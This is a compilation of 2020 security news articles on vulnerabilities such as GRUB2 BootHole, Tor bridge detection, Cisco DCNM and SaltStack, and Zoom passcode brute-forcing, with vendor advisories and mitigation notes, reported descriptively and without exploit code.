Billions of Windows and Linux devices are vulnerable to cyberattacks stemming from a bug in the GRUB2 bootloader, researchers are warning.

GRUB2 (which stands for the GRand Unified Bootloader version 2) is the default bootloader for the majority of computing systems. Its job is to manage part of the start-up process – it either presents a menu and awaits user input, or automatically transfers control to an operating system kernel.

Secure Boot is an industry standard that ensures that a device boots using only trusted software. When a computer starts, the firmware checks the signatures of UEFI firmware drivers, EFI applications and the operating system. If the signatures are valid, the computer boots, and the firmware gives control to the operating system. According to Eclypsium researchers, the bug tracked as CVE-2020-10713 could allow attackers to get around these protections and execute arbitrary code during the boot-up process, even when Secure Boot is enabled and properly performing signature verification.

Dubbed BootHole by Eclypsium because it opens up a hole in the boot process, the new bug is a buffer overflow vulnerability in the way that GRUB2 parses content from the GRUB2 config file (grub.cfg), according to Eclypsium.

“The GRUB2 config file is a text file and typically is not signed like other files and executables,” researchers wrote in the firm’s analysis, released on Wednesday. As a result, Secure Boot doesn’t check it. Thus, an attacker could modify the contents of the GRUB2 configuration file to include attack code. And further, that file is loaded before the operating system is loaded, so the attack code runs first.

“In this way, attackers gain persistence on the device,” explained researchers.

On the technical front, Red Hat noted that the grub.cfg file is composed of several string tokens.

“The configuration file is loaded and parsed at GRUB initialization right after the initial boot loader, called shim, has loaded it,” the project said in an advisory issued on Wednesday. “During the parser stage, the configuration values are copied to internal buffers stored in memory. Configuration tokens that are longer in length than the internal buffer size end up leading to a buffer overflow issue. An attacker may leverage this flaw to execute arbitrary code, further hijacking the machine’s boot process and bypassing Secure Boot protection. Consequently, it is possible for unsigned binary code to be loaded, further jeopardizing the integrity of the system.”

Once in, attackers have “near total control” over a target machine: “Organizations should be monitoring their systems for threats and ransomware that use vulnerable bootloaders to infect or damage systems,” according to the analysis.

The bug carries a high-severity CVSS rating of 8.2 (Red Hat deems it “moderate” in severity, and Microsoft characterizes it as “important”). BootHole likely avoided a critical rating because in order to exploit it, an attacker would need to first gain administrative privileges.

“An attacker would first need to establish access to the system such as gaining physical access, obtain the ability to alter a pxe-boot network, or have remote access to a networked system with root access,” according to Red Hat.

The bad news is that GRUB2 is nearly ubiquitous across the computing landscape.

“The vulnerability is in the GRUB2 bootloader utilized by most Linux systems,” the researchers said. “The problem also extends to any Windows device that uses Secure Boot with the standard Microsoft Third Party UEFI Certificate Authority.”

They added that the majority of computers (laptops, desktops, servers and workstations) are vulnerable, and that the vulnerability also affects network appliances, proprietary gear specific to healthcare, financial and other verticals, internet-of-things (IoT) devices, and operational technology (OT) and SCADA equipment in industrial environments. In all, billions of devices are susceptible.

Worse, no simple patch or firmware update can fix the issue, according to Eclypsium.

“Mitigation is complex and can be risky and will require the specific vulnerable program to be signed and deployed, and vulnerable programs should be revoked to prevent adversaries from using older, vulnerable versions in an attack,” the researchers said. “The three-stage mitigation process will likely take years for organizations to complete patching.”

On the supplier side, the fix will require the release of new installers and bootloaders for all versions of Linux, as well as new versions of vendors’ “shims” (the aforementioned first-stage boot loaders) to be signed by the Microsoft Third-Party UEFI certificate authority, Eclypsium warned. Also, hardware-makers that provision their own keys into their hardware at the factory level (which sign GRUB2 directly) will need to provide updates, and revoke their own vulnerable versions of GRUB2.

“It is important to note that until all affected versions are added to the [Secure Boot revocation list, a.k.a. dbx], an attacker would be able to use a vulnerable version of shim and GRUB2 to attack the system,” researchers explained. “This means that every device that trusts the Microsoft 3rd Party UEFI CA will be vulnerable for that period of time.”

Eclypsium has coordinated responsible disclosure of BootHole with a raft of affected vendors and Linux distros, including Microsoft, the UEFI Security Response Team (USRT), Oracle, Red Hat (Fedora and RHEL), Canonical (Ubuntu), SuSE (SLES and openSUSE), Debian, Citrix, VMware, and various OEMs and software vendors, several of which have issued their own advisories.

Microsoft will be releasing a set of signed dbx updates, which can be applied to systems to block shims that can be used to load the vulnerable versions of GRUB2, according to Eclypsium.

“Due to the risk of bricking systems or otherwise breaking operational or recovery workflows, these dbx updates will initially be made available for interested parties to manually apply to their systems rather than pushing the revocation entries and applying them automatically,” the firm noted. “Organizations should additionally ensure they have appropriate capabilities for monitoring UEFI bootloaders and firmware and verifying UEFI configurations, including revocation lists, in their systems.”

Organizations should also test device-recovery capabilities, including the “reset to factory defaults” functionality, so they can recover it if a device is negatively impacted by an update.

Expert discloses details of 3 Tor zero-day flaws … new ones to come
31.7.20  Vulnerebility  Securityaffairs

A security researcher published the details about two Tor zero-day vulnerabilities and plans to release three more flaws.
The security researcher Dr. Neal Krawetz has published technical details about two Tor zero-day vulnerabilities over the past week and promises to release three more. Oppressive regimes could exploit these Tor zero-day flaws to prevent users from accessing the popular anonymizing network.

The expert confirmed that one of these three new issues can de-anonymize Tor servers revealing their real IP address.

Dr. Neal Krawetz decided to publicly disclose details on two zero-day flaws after the Tor Project has repeatedly failed to fix multiple vulnerabilities he reported over the past years.

The researcher also promised to reveal at least three more Tor zero-days, including one that can reveal the real-world IP address of Tor servers.

The researcher operates multiple Tor nodes, last week he published a blog post that describes how internet service providers and organizations could stop Tor connections.

“However, what if there was a distinct packet signature provided by every Tor node that can be used to detect a Tor network connection? Then you could set the filter to look for the signature and stop all Tor connections. As it turns out, this packet signature is not theoretical.” reads the post.

An attacker could use the packet signature to block Tor connections from initiating.
Today the expert published a new blog post that provides details about other Tor zero-day issues that could be exploited by attackers to detect indirect connections,

“Direct connections to the Tor network are the most common type of connection. However, there are also indirect ways to connect to the Tor network. These indirect methods are called ‘bridges’. If someone could detect every bridge protocol, then every Tor user could be blocked from accessing the Tor network, or they can be directly surveilled. (If they know your real network address, then they know who you are, and they can monitor or censor your activities.)” reads the report.

“In this blog entry, I’m going to disclose methods to identify Tor bridge network traffic. This includes two new zero-day (0day) exploits — one for detecting obfs4 and one for detecting meek.”

Tor bridges (“Tor bridge relays”) are alternative entry points to the Tor network, some of them are not listed publicly. Using a bridge makes it harder, but not impossible, for the ISP to determine a user is connecting to Tor.

According to Dr. Krawetz, an attacker can easily detect connections to Tor bridges tracking specific packets.

“Between my previous blog entry and this one, you now have everything you need to enforce the policy with a real-time stateful packet inspection system. You can stop all of your users from connecting to the Tor network, whether they connect directly or use a bridge,” continues Dr. Krawetz.

The security researcher reported multiple issues to the Tor Project, but he claims that the maintainers have never addressed them, for this reason, Dr. Krawetz decided to interrupt its collaboration with the organization.

Cisco Patches Serious Vulnerabilities in Data Center Network Manager
31.7.20  Vulnerebility  Securityweek

Cisco informed customers on Wednesday that it has patched critical and high-severity vulnerabilities in its Data Center Network Manager (DCNM) network management platform.

One of the security flaws, CVE-2020-3382, has been classified as critical. It allows a remote, unauthenticated attacker to bypass authentication and perform actions with admin privileges on the targeted device.

“The vulnerability exists because different installations share a static encryption key. An attacker could exploit this vulnerability by using the static key to craft a valid session token. A successful exploit could allow the attacker to perform arbitrary actions through the REST API with administrative privileges,” Cisco explained.

The networking giant has fixed several high-severity vulnerabilities in DCNM, including weaknesses that can be exploited for arbitrary command injection, path traversal and arbitrary file writing, and bypassing authorization and escalating privileges. However, exploitation of these bugs requires authentication.

The one high-severity vulnerability that can be exploited by an unauthenticated attacker is CVE-2020-3376. It can be leveraged to bypass authentication and execute arbitrary actions.

“The vulnerability is due to a failure in the software to perform proper authentication. An attacker could exploit this vulnerability by browsing to one of the hosted URLs in Cisco DCNM. A successful exploit could allow the attacker to interact with and use certain functions within the Cisco DCNM,” Cisco explained.

The company has also patched three medium-severity vulnerabilities in DCNM, including XSS, SQL injection and information disclosure issues.

Cisco also announced that it has resolved a critical vulnerability in the management interface of the SD-WAN vManage software. The flaw allows an attacker to access potentially sensitive information, modify the configuration of the system, or cause it to become unavailable. However, exploitation requires authentication.

Cisco says none of these vulnerabilities has been exploited for malicious purposes, which is not surprising considering that the more serious ones were all discovered internally.

Companies Respond to 'BootHole' Vulnerability
30.7.20 Vulnerebility  Securityweek

Companies affected by the recently disclosed GRUB2 bootloader vulnerability dubbed BootHole have started releasing advisories to inform customers about the impact of the issue on their products.

Firmware security company Eclypsium revealed on Wednesday that billions of Windows and Linux devices are affected by a potentially serious vulnerability that can be exploited to install stealthy and persistent malware. The firm says the weakness affects devices that use Secure Boot, a feature designed to protect the boot process against untrusted code execution.

The security hole, officially tracked as CVE-2020-10713, impacts laptop, desktop, workstation and server devices, as well as network appliances and equipment used in the healthcare, industrial and financial sectors.

BootHole

The vulnerability is a buffer overflow related to how GRUB2 parses its grub.cfg configuration file. An attacker with admin privileges on the targeted system can modify this file so that their malicious code is executed in the UEFI environment before the OS is loaded.

Several other flaws related to GRUB2 have been identified during investigations into BootHole.

Secure Boot is designed to ensure that the code executed when a device boots is trusted. For this purpose it uses two databases containing lists of digital signatures associated with trusted code (DB) and digital signatures associated with prohibited code (DBX).

Preventing BootHole attacks will require replacing vulnerable bootloaders with an updated version and releasing an update for the DBX database to ensure that the vulnerable bootloaders can no longer be executed. This process requires collaboration between software and hardware vendors.

Shortly after Eclypsium published its report on the BootHole vulnerability, several companies and organizations released advisories to address the issue.

CERTs

Some Computer Emergency Response Teams (CERTs) have already released advisories, including CERT/CC in the United States and SingCERT in Singapore.

CERT/CC explained, “Linux distributions and other vendors using GRUB2 will need to update their installers, boot loaders, and shims. New shims will need to be signed by the Microsoft 3rd Party UEFI Certificate Authority. Administrators of affected devices will need to update installed versions of operating systems as well as installer images, including disaster recovery media. Until all affected versions are added to the dbx revocation list, an attacker would be able to use a vulnerable version of shim and GRUB2. Eventually the UEFI revocation list (dbx) needs to be updated in the firmware of each affected system to prevent running this vulnerable code during boot.”

UEFI Forum

The UEFI Forum has made available the files needed to update the Secure Boot DBX database, which includes the now-revoked signatures of previously approved and signed firmware and software. However, the revocation list file is work in progress and at this point it’s mainly recommended for testing purposes.

“Distribution of the data in these files to running systems could cause instability and should only be attempted by security experts and IT professionals. System OEMs can use these files to test their platform firmware,” the UEFI Forum warned.

Microsoft

Microsoft says BootHole impacts Windows 10, 8.1, Server 2012, Server 2016, Server 2019 and Server versions 1903, 1909 and 2004. The company is working on an update that will be rolled out to users via the Windows Update system.

In the meantime, the company tells customers that they can prevent attacks on Surface devices by changing some UEFI settings.

Windows users can manually install the Secure Boot DBX update from the UEFI Forum, but Microsoft has warned that this update has not been tested and it’s only recommended for professionals and enthusiasts since installing it can result in “unrecoverable failure to boot.”

Red Hat

Red Hat says BootHole impacts Red Hat Enterprise Linux 7 and 8, Atomic Host, and the OpenShift Container Platform 4. The company has advised users to update their grub2 packages and customers using Secure Boot need to update the kernel, fwupdate, fwupd, shim and dbxtool packages, which contain newly validated keys and certificates.

Canonical

Canonical, whose security team has identified additional GRUB2 vulnerabilities following Eclypsium’s research, has released updated packages for Ubuntu, and says it will provide a packaged DBX update in the future, but told users that until then they can apply a third-party DBX update.

SUSE

SUSE has published a blog post and provided the following statement to SecurityWeek:

“We’re aware of the Linux vulnerability called BootHole shared by Eclypsium today, and our customers and partners can rest assured we have released fixed grub2 packages which close the BootHole vulnerability for all SUSE Linux products today, and are releasing corresponding updates to Linux kernel packages, cloud image and installation media.

Given the need for physical access to the bootloader, the most likely exposure is when untrusted users can access a machine, e.g. bad actors in classified computing scenarios or computers in public spaces operating in unattended kiosk mode. To ensure that sophisticated attackers cannot reinstall old versions of grub2, software and hardware vendors are working together. SUSE Linux Enterprise provides unprecedented reliability, stability and security to the enterprise, and we are committed to keeping our customers’ and partners’ systems up to date and ready to handle everyday business challenges.”

Debian

Debian told customers that since Debian 10 (buster) was the first release to include support for Secure Boot, older versions of the operating system may not receive updates. For Debian 10 (buster), developers have already released updated GRUB2, linux, shim, fwupdate and fwupd packages.

VMware

VMware says CVE-2020-10713 affects Photon OS when configured with Secure Boot, as well as virtual machines running impacted operating systems. The company is working on an update for Photon OS.

The virtualization giant pointed out that exploitation of BootHole inside a VM cannot allow an attacker to compromise the host, but noted that available patches will need to be deployed on both guest and host machines.

HP

HP says it will be providing a SoftPaq to allow users to update the DBX database. The company has shared a long list of business notebook PCs, business desktop PCs, workstations, retail point-of-sale products, Thin Client devices, home notebook PCs, and home desktop PCs impacted by the vulnerability.

Critical GRUB2 Bootloader Bug Affects Billions of Linux and Windows Systems
30.7.20    Vulnerebility  Thehackernews

A team of cybersecurity researchers today disclosed details of a new high-risk vulnerability affecting billions of devices worldwide—including servers and workstations, laptops, desktops, and IoT systems running nearly any Linux distribution or Windows system.
Dubbed 'BootHole' and tracked as CVE-2020-10713, the reported vulnerability resides in the GRUB2 bootloader, which, if exploited, could potentially let attackers bypass the Secure Boot feature and gain high-privileged persistent and stealthy access to the targeted systems.
Secure Boot is a security feature of the Unified Extensible Firmware Interface (UEFI) that uses a bootloader to load critical components, peripherals, and the operating system while ensuring that only cryptographically signed code executes during the boot process.
"One of the explicit design goals of Secure Boot is to prevent unauthorized code, even running with administrator privileges, from gaining additional privileges and pre-OS persistence by disabling Secure Boot or otherwise modifying the boot chain," the report explained.

Discovered by researchers from Eclypsium, BootHole is a buffer overflow vulnerability that affects all versions of GRUB2 and exists in the way it parses content from the config file, which typically is not signed like other files and executables—leaving an opportunity for attackers to break the hardware root of trust mechanism.
grub2 bootloader malware
To be noted, the grub.cfg file is located in the EFI system partition, and thus, to modify the file, an attacker still needs an initial foothold on the targeted system with admin privileges that would eventually provide the attacker with an additional escalation of privilege and persistence on the device.
Though GRUB2 is the standard bootloader used by most Linux systems, it supports other operating systems, kernels, and hypervisors like XEN as well.
"The buffer overflow allows the attacker to gain arbitrary code execution within the UEFI execution environment, which could be used to run malware, alter the boot process, directly patch the OS kernel, or execute any number of other malicious actions," researchers said.
Thus, to exploit BootHole flaw on Windows systems, attackers can replace the default bootloaders installed on Windows systems with a vulnerable version of GRUB2 to install the rootkit malware.
"The problem also extends to any Windows device that uses Secure Boot with the standard Microsoft Third Party UEFI Certificate Authority," the report says.
According to the detailed report researchers shared with The Hacker News, this vulnerability can lead to major consequences, and that's primarily because the attack allows hackers to execute malicious code even before the operating system boots, making it difficult for security software to detect the presence of malware or remove it.

Besides this, the researcher also added that "the UEFI execution environment does not have Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP/NX) or other exploit mitigation technologies typically found in modern operating systems, so creating exploits for this kind of vulnerability is significantly easier."
Just Installing Updates and Patches Wouldn't Resolve the Issue
Experts at Eclypsium have already contacted related industry entities, including OS vendors and computer manufacturers, to help them patch the issue.
However, it doesn't appear to be an easy task to patch the issue altogether.
Just installing patches with updated GRUB2 bootloader would not resolve the issue, because attackers can still replace the device's existing bootloader with the vulnerable version.
According to Eclypsium, even "mitigation will require new bootloaders to be signed and deployed, and vulnerable bootloaders should be revoked to prevent adversaries from using older, vulnerable versions in an attack."
So, the affected vendors would need first to release the new versions of their bootloader shims to be signed by the Microsoft 3rd Party UEFI CA.
Eventually, the UEFI revocation list (dbx) then also needs to be updated in the firmware of each affected system to prevent running this vulnerable code during boot.
This multi-stage mitigation process will likely take years for organizations to complete patching.
"However, full deployment of this revocation process will likely be very slow. UEFI-related updates have had a history of making devices unusable, and vendors will need to be very cautious. If the revocation list (dbx) is updated before a given Linux bootloader and shim are updated, then the operating system will not load," researchers warned.
In an advisory released today, Microsoft acknowledged the issue, informing that it's "working to complete validation and compatibility testing of a required Windows Update that addresses this vulnerability."
It also recommended users to apply security patches as soon as they are rolled out in the coming weeks.
Besides Microsoft, many popular Linux distributions have also released related advisories explaining the flaw, possible mitigations, and timeline on the upcoming security patches.
Here's a list for all advisories:
Red Hat (Fedora and RHEL)
Canonical (Ubuntu)
SuSE (SLES and OpenSUSE)
Debian
VMware
Microsoft
HP

Zoom Bug Allowed Snoopers Crack Private Meeting Passwords in Minutes
30.7.20  Vulnerebility  Thehackernews
Popular video conferencing app Zoom recently fixed a new security flaw that could have allowed potential attackers to crack the numeric passcode used to secure private meetings on the platform and snoop on participants.
Zoom meetings are by default protected by a six-digit numeric password, but according to Tom Anthony, VP Product at SearchPilot who identified the issue, the lack of rate limiting enabled "an attacker to attempt all 1 million passwords in a matter of minutes and gain access to other people's private (password protected) Zoom meetings."
It's worth noting that Zoom began requiring a passcode for all meetings back in April as a preventive measure to combat Zoom-bombing attacks, which refers to the act of disrupting and hijacking Zoom meetings uninvited to share obscene and racist content.
Anthony reported the security issue to the company on April 1, 2020, along with a Python-based proof-of-concept script, a week after Zoom patched the flaw on April 9.
The fact that meetings were, by default, secured by a six-digit code meant there could be only a maximum of one million passwords.
But in the absence of no checks for repeated incorrect password attempts, an attacker can leverage Zoom's web client (https://zoom.us/j/MEETING_ID) to continuously send HTTP requests to try all the one million combinations.
"With improved threading, and distributing across 4-5 cloud servers you could check the entire password space within a few minutes," Anthony said.
The attack worked with recurring meetings, implying that bad actors could have had access to the ongoing meetings once the passcode was cracked.
The researcher also found that the same procedure could be repeated even with scheduled meetings, which have the option to override the default passcode with a longer alphanumeric variant, and run it against a list of top 10 million passwords to brute-force a login.
Separately, an issue was uncovered during the sign-in process using the web client, which employed a temporary redirect to seek customers' consent to its terms of service and privacy policy.
"There was a CSRF HTTP header sent during this step, but if you omitted it then the request still seemed to just work fine anyway," Anthony said. "The failure on the CSRF token made it even easier to abuse than it would be otherwise, but fixing that wouldn't provide much protection against this attack."
Following the findings, Zoom took the web client offline to mitigate the issues on April 2 before issuing a fix a week later.
The video conferencing platform, which drew scrutiny for a number of security issues as its usage soared during the coronavirus pandemic, has quickly patched the flaws as they were uncovered, even going to the extent of announcing a 90-day freeze on releasing new features to "better identify, address, and fix issues proactively."
Just earlier this month, the company addressed a zero-day vulnerability in its Windows app that could allow an attacker to execute arbitrary code on a victim's computer running Windows 7 or older.
It also fixed a separate flaw that could have allowed attackers to mimic an organization and trick its employees or business partners into revealing personal or other confidential information via social engineering attacks.

Cisco Servers Hacked via Salt Vulnerabilities
29.5.2020  Securityweek  Vulnerebility
Cisco this week announced that it has patched two actively exploited Salt vulnerabilities, but not before malicious actors leveraged the flaws to hack some of the company’s servers.

Rated critical, the vulnerabilities, tracked as CVE-2020-11651 and CVE-2020-11652, were made public at the end of April, when SaltStack patches were released. The issue, however, only appears when unsecure settings are used.

The popular configuration tool uses a Salt Master to collect reports from agents called minions, and to deliver messages (configuration updates) to them. Typically, the Salt Master is not connected to the Internet, but roughly 6,000 instances were found exposed at the end of April.

The critical vulnerability that was found in Salt Master version 2019.2.3 and Salt 3000 versions 3000.1 and earlier could be abused by unauthenticated attackers to gain root-equivalent access to the Salt Master.

Within days after the patches arrived, the first attacks targeting the vulnerability were observed, with search provider Algolia and LineageOS, Ghost, and DigiCert servers quickly falling victims due to the lack of timely patching.

Now, Cisco reveals that salt-master servers that are used with Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE) were upgraded on May 7, and that, on the same day, they were found to have been compromised through the aforementioned vulnerabilities.

“Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised. The servers were remediated on May 7, 2020,” the company announced in an advisory.

The hackers gained access to six servers, including us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info, and vsm-us-2.virl.info, Cisco says.

“Cisco VIRL-PE connects back to Cisco maintained Salt Servers that are running the salt-master service. These servers are configured to communicate with a different Cisco salt-master server, depending on which release of Cisco VIRL-PE software is running. Administrators can check the configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status,” the company explains.

Cisco Modeling Labs Corporate Edition (CML), which is also impacted by the Salt vulnerabilities, does not connect to Cisco-maintained Salt Servers. The company explains that, for CML and VIRL-PE software releases 1.5 and 1.6, exploitability of enabled salt-master services depends on whether the salt-master service is reachable on TCP ports 4505 and 4506.

“For any installation that is found with salt-master service running Cisco would recommend either inspecting the machine for compromise or doing a re-image of the machine and installing the latest version of Cisco CML or Cisco VIRL-PE,” the company adds.

Cisco CML and Cisco VIRL-PE can be deployed in both standalone and cluster modes, and impact depends on the deployment type. Versions 2.0 of both CML and VIRL-PE are not affected, because they do not run the salt-master service.

For versions 1.6, there’s no impact when performing a fresh install, as the salt-master service is not running in standalone mode, or runs on a private network in cluster mode. When upgrading from version 1.5, however, the salt-master service is running.

For versions 1.5 and earlier, the salt-master service is running, and customers are advised to upgrade to a patched release.

Hackers Compromise Cisco Servers Via SaltStack Flaws

29.5.2020  Threatpost    Vulnerebility
Attackers compromised six Cisco VIRL-PE servers that are affected by critical SaltStack vulnerabilities.

Cisco said attackers have been able to compromise its servers after exploiting two known, critical SaltStack vulnerabilities. The flaws exist in the open-source Salt management framework, which are used in Cisco network-tooling products.

Two Cisco products incorporate a version of SaltStack that is running the vulnerable salt-master service. The first is Cisco Modeling Labs Corporate Edition (CML), which gives users a virtual sandbox environment to design and configure network topologies. The second is Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), used to design, configure and operate networks using versions of Cisco’s network operating systems.

Hackers were able to successfully exploit the flaws incorporated in the latter product, resulting in the compromise of six VIRL-PE backend servers, according to Cisco. Those servers are: us-1.virl.info, us-2.virl.info, us-3.virl.info, us-4.virl.info, vsm-us-1.virl.info and vsm-us-2.virl.info.

“Cisco infrastructure maintains the salt-master servers that are used with Cisco VIRL-PE,” according to Cisco’s Thursday alert. “Those servers were upgraded on May 7, 2020. Cisco identified that the Cisco maintained salt-master servers that are servicing Cisco VIRL-PE releases 1.2 and 1.3 were compromised.”

Cisco said the servers were remediated on May 7. The company also released software updates for the two vulnerable products. Cisco said that the update is “critical,” ranking it 10 out of 10 on the CVSS scale.

The SaltStack bugs were first made public by the Salt Open Core team on April 29. The flaws can allow full remote code execution as root on servers in data centers and cloud environments. They include an authentication bypass issue, tracked as CVE-2020-11651, and a directory-traversal flaw, CVE-2020-11652, where untrusted inputs (i.e. parameters in network requests) are not sanitized correctly. This in turn allows access to the entire file system of the master server, researchers found.

SaltStack released patches for the flaw in release 3000.2, on April 30 – however, researchers with F-Secure, who discovered the flaw, said a preliminary scan revealed more than 6,000 potentially vulnerable Salt instances exposed to the public internet — and warned that exploits in the wild are imminent.

Those predictions have proved true: In the beginning of May, for instance, hackers targeted the publishing platform Ghost by exploiting critical vulnerabilities in SaltStack, used in Ghost’s server management infrastructure to launch a cryptojacking attack against its servers that led to widespread outages.

Cisco said that for Cisco CML and Cisco VIRL-PE (software releases 1.5 and 1.6) if the salt-master service is enabled “the exploitability of the product depends on how the product has been deployed.” A full list of the impact and recommended action for each deployment option, for each Cisco software release, can be found on Cisco’s alert.

To be exploited, the salt-master service must be reachable on TCP ports 4505 and 4506, Cisco said. The company added that administrators can check their configured Cisco salt-master server by navigating to VIRL Server > Salt Configuration and Status.

“Cisco continues to strongly recommend that customers upgrade to a fixed software release to remediate these vulnerabilities,” Cisco said.

Google Adds GKE Open-Source Dependencies to Vulnerability Rewards Program
29.5.2020  Securityweek  Vulnerebility
Google this week announced an expansion for its Vulnerability Rewards Program (VRP) to include critical open-source dependencies of Google Kubernetes Engine (GKE).

The announcement builds on the bug bounty program for Kubernetes that the Cloud Native Computing Foundation (CNCF), in partnership with Google and others, announced earlier this year, and which offers rewards of up to $10,000 for vulnerabilities in the project.

With this expansion, Google’s VRP will cover privilege escalation bugs in a hardened GKE lab cluster that was specifically set up for this purpose.

“This will cover exploitable vulnerabilities in all dependencies that can lead to a node compromise, such as privilege escalation bugs in the Linux kernel, as well as in the underlying hardware or other components of our infrastructure that could allow for privilege escalation inside a GKE cluster,” the company says.

Google is now inviting bug hunters to find vulnerabilities in a lab environment that was set up on GKE based on kCTF, an open-source Kubernetes-based Capture-the-Flag (CTF) project.

Participants are required to break out of a containerized environment running on a Kubernetes pod and read one of two secret flags (one on the same pod, the other in another pod, in a different namespace).

Participants are required to present these flags as proof of successful exploitation, as the lab environment does not store data. The flags will change often, Google says.

The Internet giant is willing to pay up to $10,000 for bugs that affect the lab GKE environment and can lead to stealing both flags (each report will be reviewed on a case-by-case basis). Participants are allowed to submit vulnerabilities identified in Linux, Kubernetes, kCTF, Google, or any other dependency.

Security flaws that only impact Google code qualify for an additional VRP reward, while those impacting only Kubernetes code qualify for an additional CNCF Kubernetes reward.

“Any vulnerabilities found outside of GKE (like Kubernetes or the Linux kernel) should be reported to the corresponding upstream project security teams. To make this program expansion as efficient as possible for the maintainers, we will only reward vulnerabilities shown to be exploitable by stealing a flag,” Google explains.

The open-sourced kCTF environment is new and Google is looking to receive feedback on it before actively using it in CTF competitions.

“By including the CTF infrastructure in the scope of the Google VRP, we want to incentivise the community to help us secure not just the CTF competitions that will use it, but also GKE and the broader Kubernetes ecosystems,” Google notes.

Despite lower number of vulnerability disclosures, security teams have their work cut out for them

29.5.2020  Net-Security  Vulnerebility

The number of vulnerabilities disclosed in Q1 2020 has decreased by 19.8% compared to Q1 2019, making this likely the only true dip observed within the last 10 years, Risk Based Security reveals.

Vulnerabilities of interest disclosed in Q1 2020
Vulnerabilities disclosed in Q1 2020: What happened?

Many factors have been identified as potential contributors to this decline, including the COVID-19 pandemic, though its precise impact may not be known for another year.

“Although the pandemic has already brought unprecedented changes to all walks of life, it is difficult to predict precisely how it will impact vulnerability disclosures this year,” commented Brian Martin, Vice President of Vulnerability Intelligence at Risk Based Security.

“It is possible, as we’ve seen with data breaches, that some researchers and companies may be slower to disclose vulnerabilities. Between drastic changes in work environments and a global pandemic, vulnerability disclosure totals may be directly impacted.”
Many vulnerabilities lacking detail in CVE

Despite the lower total number of vulnerability disclosures in Q1, security teams have their work cut out for them. 561 vulnerabilities have been identified that have a public exploit, yet do not have any detail in CVE.

Worse, 60.2% of those vulnerabilities are remotely exploitable. This is problematic for many organizations that rely on security tools that are based on CVE data and have little in the way of detection and mitigation.

Top ten products by vulnerability disclosures in Q1 2020, as compared to 2019

“Those vulnerabilities include issues such as remote authentication bypass, stored XSS, SQL injection, information disclosure, denial of service, and more,” Mr. Martin concluded.

“Some of these vulnerabilities are present in software from Symantec, Apple, Atlassian, ManageEngine, Nextcloud, Jetbrains, and IBM to name a few. That should give pause to anyone who has to come up with a mitigation strategy where patching ‘in the right order’ becomes a key strategy.”

Flashback on CVE-2019-19781

28.5.2020  SANS  Vulnerebility

First of all, did you know that the Flame[1] malware turned 8 years today! Happy Birthday! This famous malware discovered was announced on May 28th, 2012. The malware was used for targeted cyber espionage activities in the Middle East area. If this malware was probably developed by a nation-state organization. It infected a limited amount of hosts (~1000 computers[3]) making it a targeted attack.

At the opposite, we see very broad attacks that try to abuse vulnerabilities present in very common products. Almost every day, new CVEs ("Common Vulnerability Exposure") are released or updated. Yesterday, I indexed 141 new CVEs:

In a perfect world, a CVE is followed by a patch released by the vendor or the developer, followed by the deployment of this patch by the end-user. Case closed! But, it’s not always as simple, for multiple reasons. Recently, an interesting article was released about the top-10 most exploited vulnerabilities[3]. It’s interesting to discover how very old vulnerabilities are still exploited in the wild, by example: CVE-2017-11882 (from 2017!)

Amongst others, let’s have a look at CVE-2019-19781 also know as “Shitrix”[4]. We searched for the population of ‘Citrix NetScaler’ hosts in SHODAN, then we search for the ones tagged with the CVE. Results are interesting (starting from the beginning of the year).

In blue, you see the number of devices identified as vulnerable. The green data represent the entire population of Citrix devices seen online. Let's focus on the two first months:

We see that SHODAN is scanning the web and found more and more vulnerable devices, then organizations started to patch then but we remain for a while to a stable amount of devices (around ~4000 detected daily). But we see also a decrease in detected NetScaler devices. How to interpret this?

Some organizations got rid of their Citrix device and replaced it with another solution? (it could happen)
Devices were hardened and do not disclose the version/model (footprint not possible)
Devices facing the Internet are now protected by filters/firewalls
SHODAN IP addresses are blacklisted (which is bad and does NOT secure your infrastructure)

Anyway, the best advice remains patch, patch, and patch again!

[1] https://isc.sans.edu/forums/diary/Why+Flame+is+Lame/13342
[2] https://www.wired.com/2012/05/flame/
[3] https://nakedsecurity.sophos.com/2020/05/15/top-10-most-exploited-vulnerabilities-list-released-by-fbi-dhs-cisa/
[4] https://krebsonsecurity.com/2020/02/hackers-were-inside-citrix-for-five-months/#more-50556

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

New fuzzing tool for USB drivers uncovers bugs in Linux, macOS, Windows

28.5.2020  Net-Security  Vulnerebility

With a new fuzzing tool created specifically for testing the security of USB drivers, researchers have discovered more than two dozen vulnerabilities in a variety of operating systems.

“USBFuzz discovered a total of 26 new bugs, including 16 memory bugs of high security impact in various Linux subsystems (USB core, USB sound, and network), one bug in FreeBSD, three in macOS (two resulting in an unplanned reboot and one freezing the system), and four in Windows 8 and Windows 10 (resulting in Blue Screens of Death), and one bug in the Linux USB host controller driver and another one in a USB camera driver,” Hui Peng and Mathias Payer explained.

11 of the Linux bugs have already received a patch.
Making fuzzing USB drivers easier

USBFuzz, which Peng and Payer plan to open source on GitHub in the near future, is a modular testing framework that can be used for fuzzing USB drivers in different OS kernels.

Fuzzing (or fuzz testing) involves the automated inputing of invalid, unexpected, or random data into software (in this case drivers), looking how the program behaves – whether it crashes, shows memory leaks, etc. – and checking whether these behaviors can be exploited for malicious ends.

“Fuzzing device drivers is challenging due to the difficulty in providing random input from a device. Dedicated programmable hardware devices are expensive and do not scale as one device can only be used to fuzz one target. More importantly, it is challenging to automate fuzzing on real hardware due to the required physical actions (attaching and detaching the device) for each test,” the researchers explained the motivation for creating USB-Fuzz.

They wanted to make the fuzing device cost-effective, hardware-independent and able to work on different OSes and platforms.

“At its core, USB-Fuzz uses a software-emulated USB device to provide random device data to drivers (when they perform IO operations). As the emulated USB device works at the device level, porting it to other platforms is straight-forward.”

USB-Fuzz works on Linux, FreeBSD, macOS, and Windows, and can be used to perform dumb fuzzing, focused fuzzing, and coverage-guided fuzzing (where coverage collection is supported).

Zoom Bug Allowed Snoopers Crack Private Meeting Passwords in Minutes
30.7.20  Vulnerebility  Thehackernews
Popular video conferencing app Zoom recently fixed a new security flaw that could have allowed potential attackers to crack the numeric passcode used to secure private meetings on the platform and snoop on participants.
